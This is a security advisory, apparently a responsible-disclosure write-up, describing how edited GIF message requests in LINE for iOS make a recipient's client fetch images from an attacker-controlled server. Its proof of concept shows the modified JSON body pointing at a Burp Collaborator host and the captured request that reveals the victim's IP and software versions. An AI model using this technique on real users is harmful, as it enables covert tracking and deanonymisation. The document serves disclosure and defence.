Synopsis
The LINE messenger application on iOS allows for users to send each other animated GIFs from gifmagazine.net as one of the default message types in the application.
An attacker can proxy the requests made to api.line.me/message/v3/share during the sending of these GIFs and edit the message contents to point to images (or other content) on an attacker controlled server.
When the message is received in the target's client (which does not require interaction from the target), the target's client will make a request to the attacker-controlled content.
This allows the attacker to record the receiving target's private IP Address, as well as their current Operating System version and LINE application version.
Proof of Concept:
Using a proxy (in this case Burp Suite) to intercept the request to api.line.me/message/v3/share when sending a GIFMAGAZINE message, and editing the image urls to point to an attacker controlled server (in this case, burpcollaborator.net) allows the attacker to receive the following request:
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Original Request Body
#####################################################################
{"messages":
[{"type":"image",
"originalContentUrl":"https://img.gifmagazine.net/gifmagazine/images/4358290/medium.gif",
"previewImageUrl":"https://img.gifmagazine.net/gifmagazine/images/4358290/180.gif",
"animated":true,
"extension":"gif",
"sentBy":{"label":"Reply with GIFMAGAZINE",
"iconUrl":"https://img.gifmagazine.net/gifmagazine/000web/images/chat-extensions/LINE_chat_app_icon_98px.png",
"linkUrl":"line://app/1626444543-G6O9lb5v?idp=4358290_83"}}]}
#####################################################################
Edited Request Body
#####################################################################
{"messages":
[{"type":"image",
"originalContentUrl":"https://lb09jovq3r7iuttuv0by06tbz25sth.burpcollaborator.net/medium.gif",
"previewImageUrl":"https://lb09jovq3r7iuttuv0by06tbz25sth.burpcollaborator.net/180.gif",
"animated":true,
"extension":"gif",
"sentBy":{"label":"Reply with GIFMAGAZINE",
"iconUrl":"https://img.gifmagazine.net/gifmagazine/000web/images/chat-extensions/LINE_chat_app_icon_98px.png",
"linkUrl":"line://app/1626444543-G6O9lb5v?idp=4358290_83"}}]}
#####################################################################
Request Received from victim IP, on attacker server
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GET /180.gif HTTP/1.1
Host: lb09jovq3r7iuttuv0by06tbz25sth.burpcollaborator.net
Accept: */*
Accept-Language: en-ca
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: LINE/11.0.0 (iPhone; iOS 14.4; Scale/3.00)
Solution
At the time of this writing, this issue is unpatched. The vendor is currently working on a fix.Disclosure Timeline
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